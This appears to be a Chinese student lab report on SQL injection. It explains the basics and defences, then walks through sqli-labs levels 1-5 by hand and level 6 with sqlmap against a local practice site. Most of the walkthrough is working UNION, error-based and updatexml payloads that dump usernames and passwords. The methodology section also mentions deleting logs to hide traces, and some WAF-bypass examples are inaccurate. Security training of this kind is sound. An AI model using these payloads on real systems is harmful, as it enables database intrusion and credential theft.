目录
一、要求
1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
3.总结SQLi的手工注入的步骤
4.使用sqlmap通过或验证第六关
二、内容与步骤记录
(一)SQL注入
SQL注入是一种常见的安全漏洞,它允许攻击者通过将恶意的SQL代码插入到应用程序的输入字段中来执行非授权的数据库操作。
1.SQL注入原理
攻击者利用应用程序对用户输入的处理不当,将恶意SQL代码嵌入到合法的SQL查询中,然后数据库服务器会执行包含恶意代码的SQL查询,从而实现攻击者的意图,之后攻击者可以获得查询结果,进一步进行攻击。
2.SQL注入常用函数及含义
(1)UNION SELECT:合并两个或更多的SELECT查询结果,允许攻击者从不同的表中检索数据。
例:SELECT column1, column2 FROM table1 UNION SELECT column1, column2 FROM table2;
(2)OR:逻辑操作符,用于绕过身份验证或条件检查。
例:SELECT * FROM users WHERE username = 'admin' OR '1'='1';
(3)AND:逻辑操作符,常用于构造复杂的条件。
例:SELECT * FROM products WHERE category = 'Electronics' AND price < 100;
(4)SELECT:用于从数据库中选择数据。
例:SELECT * FROM users WHERE username = 'admin';
(5)UPDATE:用于更新数据库中的数据。
例:UPDATE users SET password = 'newpassword' WHERE username = 'admin';
(6)DELETE:用于删除数据库中的数据。
例:DELETE FROM users WHERE username = 'admin';
(7)SUBSTRING:用于提取字符串的子字符串,常用于数据提取。
例:SELECT SUBSTRING(column_name, 1, 5) FROM table_name;
(8)CONCAT:用于连接多个字符串。
例:SELECT CONCAT(first_name, ' ', last_name) AS full_name FROM users;
3.SQL注入防御手段
(1)参数化查询:通过使用参数化查询(如预编译语句)来避免直接将用户输入插入到SQL语句中。
例: SELECT * FROM users WHERE username = ? AND password = ?;
(2)ORM框架:使用对象关系映射(ORM)框架,这些框架通常会自动处理SQL注入问题。
(3)输入验证和清理:对所有用户输入进行严格的验证和清理,防止恶意数据进入数据库。
(4)最小权限原则:数据库用户应仅拥有执行其必要操作的最小权限,防止攻击者利用权限进行破坏。
(5)错误处理:避免将数据库错误信息直接反馈给用户,以防泄露数据库结构信息。
(6)Web应用防火墙(WAF):使用WAF来检测和拦截SQL注入攻击。
4.SQL注入常用绕过WAF的方法
(1)编码绕过:使用不同的编码方式(如URL编码、Unicode编码)绕过WAF的检测。
例:SELECT * FROM users WHERE username = 'admin%27%20OR%20%271%27%3D%271';
(2)空格替代:用SQL的不同空格字符替代正常的空格(如使用`%20`代替空格)。
例:SELECT%20*%20FROM%20users%20WHERE%20username%20=%20'admin'%20OR%20'1'%20=%20'1';
(3)SQL注释:使用SQL注释(如`--`或`/*...*/`)来注释掉部分查询内容,从而绕过WAF规则。
例:SELECT * FROM users WHERE username = 'admin' --' AND password = 'password';
(4)拼接和分割:将SQL注入语句分割成多个部分,通过拼接的方式绕过WAF。
例:SELECT * FROM users WHERE username = 'admin' OR '1' = '1';
(5)盲注和时间注入:利用盲注(Blind Injection)和基于时间的注入(Time-Based Injection)技术绕过WAF。
例:SELECT IF(1=1, SLEEP(5), 0);
(二)sqli-labs前5关
1.环境准备
下载sqli-labs源码
网址:https://codeload.github.com/Audi-1/sqli-labs/zip/master
把解压后的文件转移到WWW目录
修改配置信息,打开\WWW\sqli-labs-master\sql-connections下的db-creds.inc,然后修改密码为root,即phpstudy里的php数据库的用户密码(默认为root)。
打开 PHPStudy,点击网址,点击创建网站,域名输入 sqli-labs-master,端口号改为别的避免冲突。同时注意,因为php7版本以上抛弃了mysql_系列函数,转用mysqli系列函数,所以用php7版本以上安装的时候就会报错,需要为php降个级
创建完成,打开网站
初始化 sqli-labs 靶场,点击setup/reset database for labs,出现以下画面就表示初始化成功了
2.进入靶场开始挑战
Less-1:字符型注入
(1)判断是否存在注入:
提示我们需要给他输入一个ID的传参我们输入?id=1
按照正常的注入思维首先判断它有没有把?id=1,拼接到SQL语句中并且当作SQL代码进行执行,这个时候判断注入点输入?id=1 and 1=1和?id=1 and 1=2发现没有变化,
尝试一下闭合?id=1' and 1=1-- q(q 在这个SQL注入语句中没有实际的用途。主要的作用是使注释 -- 看起来更像是一个真实的注释或输入)发现?id=1' and 1=2-- q页面异常(即可能存在注入点)
(2)判断字段数:查找当前的字段数?id=1 'order by 1-- q 依次输入到order by 4出现错误
说明这个地方存在于三个字段
(3)判断显错位:使用联合查询union select 1,2,3(1, 2, 3是选择的列。它们在这里只是占位符,目的是测试当前查询环境中有多少列可供选择,以及这些列的数据类型是什么,并用来验证UNION查询是否成功,如果注入成功,页面会显示1、2、3或相应的列数据)
发现没有任何变化,是因为前面的查询结果显示在前面,从而没有显示联合语句的查询于是,把1更改为其他任何数字让它不产生结果从而显示后面的结果。
(4)获取数据库信息:通过注入语句获取数据库的版本、当前用户、当前数据库等信息,即,将其中显示出来的位子(2、3)更换成database()和user()
(5)获取表名和列名:使用information_schema获取所有表名和列名:
判断表名:?id=-1' union select 1, group_concat(table_name), user() from information_schema.tables where table_schema='security' -- q
判断列名:?id=-1' union select 1, group_concat(column_name), user() from information_schema.columns where table_name='emails' and table_schema='security' -- q
?id=-1' union select 1, group_concat(column_name), user() from information_schema.columns where table_name='users' and table_schema='security' -- q
(6)根据对应列表,进行数据获取:
?id=-1' union select 1, group_concat(username, ':', password), user() from users -- q
Less-2:数字型注入
和Less-1差不多
(1)判断是否存在注入:
输入?id=1 and 1=1和?id=1 and 1=2发现变化
(2)判断字段数:查找当前的字段数order by 4出现错误
说明这个地方存在于三个字段
(3)判断显错位:使用联合查询union select 1,2,3
(4)获取数据库信息:
(5)获取表名和列名:使用information_schema获取所有表名和列名:
判断表名:?id=-1 union select 1, group_concat(table_name), user() from information_schema.tables where table_schema='security' -- q
判断列名:
?id=-1 union select 1, group_concat(column_name), user() from information_schema.columns where table_name='users' and table_schema='security' -- q
(6)根据对应列表,进行数据获取:
?id=-1 union select 1, group_concat(username, ':', password), user() from users -- q
Less-3:' )的字符型注入
(1)判断注入点:
根据错误提示,可以分析是因为id=1' 在原始查询中插入了一个额外的单引号,使得原本匹配的引号对不再匹配导致数据库查询引擎不能正确解析这种结构,从而导致语法错误。所以可以推测这里的sql查询语句为:
SELECT * FROM users WHERE id=('1'')
所以需要在1后面的第一引号处进行闭合
成功获得了正确的回显信息。
(2)判断字段数
?id=1') order by 3 -- q到4就报错,说明只有3个字段
(3)判断显错位:
?id=-1') union select 1,2,3 -- q
回显位是2、3位
(4)获取数据库信息:
在第2、3列输入需要查询的命令
?id=-1') union select 1,database(),user() -- q
(5)获取表名和列名:
表名:
?id=-1') union select 1, group_concat(table_name), user() from information_schema.tables where table_schema='security' -- q
列名:
?id=-1') union select 1, group_concat(column_name), user() from information_schema.columns where table_name='users' and table_schema='security' -- q
(6)根据对应列表,进行数据获取:
?id=-1') union select 1, group_concat(username, ':', password), user() from users -- q
Less-4 :")字符型注入
(1)判断注入点:
闭合:
(2)判断字段数
?id=1") order by 3 -- q到4就报错,说明只有3个字段
(3)判断显错位:
?id=-1") union select 1,2,3 -- q
(4)获取数据库信息:
?id=-1") union select 1,database(),user() -- q
(5)获取表名和列名:
表名:
?id=-1") union select 1, group_concat(table_name), user() from information_schema.tables where table_schema='security' -- q
列名:
?id=-1") union select 1, group_concat(column_name), user() from information_schema.columns where table_name='users' and table_schema='security' -- q
(6)根据对应列表,进行数据获取:
?id=-1") union select 1, group_concat(username, ':', password), user() from users -- q
Less-5:字符型的报错回显注入
(1)判断注入点:
注入参数,网页返回 “You are in...”,但是没有其他信息,且正确的回显只有这么一种回显。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。
判断是否有注入漏洞,注入个单引号进行闭合,网页返回报错信息。这说明网页存在 Sql 注入漏洞,并且是用单引号字符型注入。
(2)判断字段数
一般有报错回显的页面都可以利用order by来爆出字段数
?id=1' order by 3 -- q
?id=1' order by 4 -- q
(3)判断显错位:
?id=-1' union select 1,2,3 -- q
无事发生
(4)获取数据库信息:
通过报错函数来爆破出数据库名
?id=1' and updatexml(1,concat('~',(select database()),'~'),1) -- q
用户名:
?id=1' and updatexml(1,concat('~',(select user()),'~'),1) -- q
(5)获取表名和列名:
表名:
?id=1 'and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~'),1) -- q
列名:
?id=1 'and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),'~'),1) -- q
(6)数据获取:
?id=-1' union select count(*),1, concat('~',(select concat_ws(': ',username,password) from users limit 1,1),'~',floor(rand()*9)) as a from information_schema.tables group by a -- q
改变limit1,1的数值可以获取更多数值
(三)总结SQLi的手工注入的步骤
1.信息收集:
识别目标应用的输入点(如表单字段、URL参数、HTTP头部等),并了解应用的数据库类型和结构。
2.测试点注入:
在输入字段中尝试插入简单的SQL注入payload(如`' OR '1'='1`),观察应用的响应来确定是否存在SQL注入漏洞。
3.确定注入类型:
-错误基于注入:观察SQL错误消息,推测数据库结构。
-盲注:通过不同的响应时间或页面行为判断数据库内容(如时间延迟注入)。
4.获取数据库信息:
-表名和列名:使用SQL查询获取数据库中的表名和列名(如`UNION SELECT`)。
-数据提取:提取数据库中的实际数据(如用户信息)。
5.绕过过滤:
使用编码、拼接或注释等技巧绕过输入过滤和安全防护措施。
6.数据操作:
-读取:读取数据库中的数据。
-修改:根据需要修改、删除或插入数据。
7.清理痕迹:
尽量清除攻击痕迹(如删除日志记录)以避免被发现。
8.验证和报告:
验证注入的成功性,并报告发现的漏洞和安全建议。
(四)使用sqlmap通过或验证第六关
SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
1. 安装sqlmap:
下载sqlmap
GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool
解压后进入文件夹,启动cmd,检测是否能够正常使用
2.使用sqlmap
-u “url” #检测注入点
–dbs #列出所有数据库的名称
–current-db #列出当前数据库的名称
-D #指定一个数据库
–tables #列出所有表名
-T #指定表名
–columns #列出所有字段名
-C #指定字段
–dump #列出字段内容
–batch #不提示用户输入,直接采用默认行为(使用默认值)
(1)获取数据库名称:
python sqlmap.py -u “http://localhost:802/sqli-labs-master/Less-6/?id=1” -- dbs --batch
(2)获取指定数据库表名
python sqlmap.py -u “http://localhost:802/sqli-labs-master/Less-6/?id=1” -D security --tables --batch
(3)获取数据库表字段信息
python sqlmap.py -u “http://localhost:802/sqli-labs-master/Less-6/?id=1” -T users --columns --batch
(4)获取指定表数据
python sqlmap.py -u “http://localhost:802/sqli-labs-master/Less-6/?id=1” -D security -T users -C username,password -dump --batch
三、思考与总结
SQLMap采用的独特的SQL注入技术
1.时间盲注(Time-Based Blind SQL Injection):
通过在 SQL 查询中引入时间延迟函数(如 SLEEP()、BENCHMARK() 等),SQLMap 可以根据服务器响应时间来判断查询的结果。该技术在没有错误信息回显的情况下,能够通过观察服务器的响应延迟来逐步推断出数据库的信息。
2.布尔盲注(Boolean-Based Blind SQL Injection):
通过发送两种布尔表达式(TRUE 或 FALSE)的请求,SQLMap 可以根据响应内容的差异来推断数据库的结构和数据。即使目标网站没有返回数据库错误信息,通过页面响应的差异也可以获取有价值的信息。
3.错误注入(Error-Based SQL Injection):
利用 SQL 错误信息来获取数据库信息。SQLMap 能够生成触发数据库错误的特定查询,利用数据库返回的错误消息中的详细信息来推断数据库架构。这种方法依赖于应用程序的错误处理不够健全。
4.联合查询注入(Union Query-Based SQL Injection):
通过 UNION SQL 语句合并合法查询的结果和恶意查询的结果,SQLMap 可以将恶意查询的结果直接返回给用户。这种方法要求目标页面返回查询结果,并且数据类型需要匹配。
5.堆叠查询(Stacked Queries SQL Injection):
这种技术允许在一个查询中执行多个 SQL 语句。SQLMap 通过在注入点插入分号(;)或其他语句分隔符,来执行多条 SQL 语句。堆叠查询适用于那些允许多条 SQL 语句同时执行的数据库。
6.内联查询注入(Inline Queries or Subqueries SQL Injection):
SQLMap 可以利用内联查询(子查询)来执行复杂的 SQL 注入。这种技术通常用来在一个查询内部嵌套其他查询,尤其是在传统的单一查询无法绕过安全检查的情况下使用。
7.二次注入(Second-Order SQL Injection):
这种技术用于目标应用程序在一次 SQL 注入攻击中没有立即反映出漏洞的情况。SQLMap 通过首先将恶意输入存储在数据库中,然后在未来的操作(如数据处理、显示或更新)中利用这些恶意输入,成功触发 SQL 注入。
8.盲注猜测(Blind Injection with Guessing):
SQLMap 可以使用字典或自定义的推测逻辑,通过逐步猜测目标数据库中的内容(如数据库名、表名、列名和数据)。这对没有明显回显的目标特别有用。
9.HTTP 参数污染(HTTP Parameter Pollution, HPP):
这种技术通过向 HTTP 请求中插入多个同名参数,利用服务器处理参数时的漏洞来实施 SQL 注入。SQLMap 利用这种技术可以在不影响合法请求的情况下进行 SQL 注入。
10.自定义注入点(Custom Injection Points):
SQLMap 支持用户指定自定义注入点,比如通过 POST 数据、HTTP Headers、Referer、User-Agent 等。通过这些方法,SQLMap 可以绕过一些常见的输入过滤机制。